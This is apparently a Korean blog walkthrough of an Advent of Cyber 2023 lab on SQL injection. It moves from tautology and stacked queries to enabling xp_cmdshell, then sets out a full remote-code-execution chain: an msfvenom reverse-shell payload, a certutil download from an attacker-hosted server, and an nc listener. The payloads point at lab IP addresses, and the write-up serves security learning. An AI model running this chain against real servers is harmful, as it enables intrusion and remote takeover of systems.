선릉역 1번 출구

[adventofcyber2023] - Day_10_ SQL injection Inject the Halls with EXEC Queries 본문

Project/Program

[adventofcyber2023] - Day_10_ SQL injection Inject the Halls with EXEC Queries

choideu 2023. 12. 11. 19:01

Story: Best Festival Company는 회사 웹사이트인 bestfestival.thm이 올해 크리스마스 상황에 대한 일부 정보를 노출하고있다는 보고를 받고 보안센터가 이를 조사한 결과 웹사이트가 하이재킹되어 손상된 것을 확인함

 

목표: SQL Injection 취약점을 이해하고 식별하기, 누적된 쿼리를 활용해 SQL Injection을 원격 코드 실행으로 전환하기

 

1. SQL

- SQL는 RDBMS 작업과 동적 웹사이트 구축에 필수적임

- 명시적으로 SQL을 사용하지 않아도 일상 생활 속에서 간접적으로 사용하고 있음

- 영어를 기반으로 특정 키워드(select, from, where, join)를 사용해 언어와 유사한 방식으로 작업을 표현하는 구조화된 명령으로 구성

 

2. PHP

- 웹개발에서 중요한 역할을 하는 널리 사용되는 범용 스크립팅 언어

- 서버측 스크립팅 언어로 최종 HTML이 사용자 브라우저로 전송되기 전 코드가 웹 서버에서 실행됨

- 양식 데이터를 처리하고 웹 콘텐츠를 동적으로 생성

- PHP는 PDO(php data objects) 확장이나 특정 데이터베이스 서버 드라이버를 사용하여 데이터베이스에 연결함

$query = "SELECT * FROM tbl_ornaments WHERE colour = 'Green'";
$result = sqlsrv_query($conn, $query);

- 데이터베이스 연결 개체인 $conn을 통해 sqlsrv_query() 함수로 실행 가능함

 

3. 사용자 입력

- PHP에서 SQL 쿼리를 실행하는 기능을 통해 데이터베이스와 상호 작용이 가능하지만, DB 기반 WEB application의 진정한 힘은 이런 쿼리를 "동적"으로 만드는 것에 있음

- GET 요청 : 웹 어플리케이션에서 사용자 제공 데이터를 가져오는 방법

// Retrieve the GET parameter and save it as a variable
$colour = $_GET['colour'];

// Execute an SQL query with the user-supplied variable
$query = "SELECT * FROM tbl_ornaments WHERE colour = '$colour'";
$result = sqlsrv_query($conn, $query);

- GET요청을 통해 colour 인자값으로 들어온 값을 colour로 할당

http://example.com/choideu.php?colour=Green

SELELT * FROM <table> WHERE colour = 'Green'

 

4. SQL injection

- 사용자가 제공한 입력을 사용하면 동적 컨텐츠를 생성할 수 있는 강력한 방법이 제공됨

- 입력에 대한 검사가 없다면 SQL injection이라는 취약점이 노출될 수 있음

  • 해당 취약점은 무단 액세스, 데이터 도난, 데이터 조작 및 원격 코드 실행을 통해 데이터베이스에 상당한 위험을 초래할 수 있음
  • OWASP top 10에 두드러지게 등장
http://example.com/choideu.php?colour=' or 1=1 --

SELELT * FROM <table> WHERE colour = '' or 1=1 --'

- 1=1은 항상 true이기 때문에 where 절이 무조건 true가 반환됨, 결과적으로 실제 값과 상황없이 테이블의 모든 행을 반환함

 

5. 누적 쿼리

- stack query : 공격자에게 많은 제어권을 부여하는 기술

- 해당 기술을 사용하면 공격자는 단일 삽입으로 원래 쿼리를 종료하고 추가 SQL문을 실행할 수 있음

- 데이터 수정, 저장 프로시저 또는 함수 호출과 같은 더 심각한 결과 초래

- ; : SQL에서 세미콜론은 일반적으로 한 명령문의 끝과 다른 명령문의 시작을 나타냄

  • 데이터베이스 서버와의 단일 상호 작용 내에서 여러 SQL문을 쉽게 실행할 수 있음
  • 이 기능을 사용해 데이터베이스 서버와 단일 상호 작용 내에서 여러 SQL문 실행이 가능
http://example.com/choideu.php?colour=' ; INSERT INTO tbl_ornaments (elf_id, colour, category, material, price) VALUES (109, 'Evil Red', 'Broken Candy Cane', 'Coal', 99.99); --

SELECT * FROM tbl_ornaments WHERE colour = '' ; INSERT INTO tbl_ornaments (elf_id, colour, category, material, price) VALUES (109, 'Evil Red', 'Broken Candy Cane', 'Coal', 99.99); --'

- 원래 쿼리문을 종료하고 추가 SQL 문을 도입해 테이블에 악성 데이터 삽입

 

6. SQL Injection Test

- SQL Injection Test를 통해 웹 애플리케이션의 보안 평가를 진행

- 사용자 제공 입력을 조작해 승인되지 않은 SQL 쿼리를 실행할 수 있는지 확인 필요

- 검색 필드, 로그인 양식 및 데이터베이스와 상호 작용하는 모든 입력 필드를 식별해보기

- GET 메소드를 통해 인자 값이 전달됨

- 인자에 '을 입력하니 error 발생

$age = $_GET['age'];
$interests = $_GET['interests'];
$budget = $_GET['budget'];

$sql = "SELECT name FROM gifts WHERE age = '$age' AND interests = '$interests' AND budget <= '$budget'";

$result = sqlsrv_query($conn, $sql);

- 위와 같이 작성됐을 것이라 추측

- age값에 ' or 1=1 -- 입력

- DB의 모든 값을 출력

 

7. stored procedure 호출

- 누적 쿼리는 데이터베이스 시스템 내에서 저장 프로시저(stored procedure)를 호출하는 데 사용될 수 있음

- 저장 프로시저를 특정 데이터베이스 시스템에서 제공하는 확장 기능으로 생각하면 성능과 보안을 강화하고 복잡한 데이터베이스 논리를 캡슐화하는 등의 다양한 목적 수행이 가능함

- xp_cmdshell : Microsoft SQL Server의 시스템 확장 저장 프로시저

  • SQL Server가 호스트 운영 체제의 명령 셸과 직접 상호 작용할 수 있는 메커니즘 제공
  • 운영 체제 호출 실행 허용
  • 즉, 누적 쿼리를 통해 저장 프로시저 호출이 가능하다면, 운영 체제 호출을 실행하고 원격 코드 실행을 얻을 수 있음
  • 이를 위해 운영 서버에서 이 기능을 비활성화하는 것이 좋으나, 잘못된 구성으로 인해 활성화되는 경우가 존재함
  • EXEC 쿼리를 통해 SQL Server에서 xp_cmdshell을 수동으로 활성화할 수도 있음
http://10.10.85.93/giftresults.php?age='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --

- 해당 명령어를 통해 xp_cmdshell 활성화

 

8. 원격 코드 실행

- MSFvenom을 사용해 악성 페이로드를 생성해 SQL Injection 셸을 보다 표준적인 reverse shell로 업그레이드 진행

- reverse shell은 공격 PC에 연결을 시도하는 피해 PC로 생각할 수 있음

- MSFvenom

  • 명령줄 페이로드 생성 도구
  • 공격 PC에 reverse shell 연결을 만드는 Windows 실행 파일을 생성하는 데 사용할 수 있음
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR.IP.ADDRESS.HERE LPORT=4444 -f exe -o reverse.exe

 

- 공격자 PC에서 서버 hosting

python3 -m http.server 8000

 

- 피해 웹사이트에서 해당 서버로 접속

http://10.10.85.93/giftresults.php?age='; EXEC xp_cmdshell 'certutil -urlcache -f http://10.10.186.246:8000/reverse.exe C:\Windows\Temp\reverse.exe'; --

- 공격자 PC에서 접속 확인 후 서버 종료

 

- 새 터미널 생성

nc -lnvp 4444

 

- 피해 웹 사이트에서 접속

- 공격자 PC에서 피해 웹 사이트의 PC 연결 확인

 

+ Challenge

1) 취약한 php 페이지

 

2) ODBC 드라이버 버전

 

3) DUMP 플래그

 

4) 시스템에 남겨진 메모 파일

 

5) 웹사이트 복구 배치 파일 실행

Comments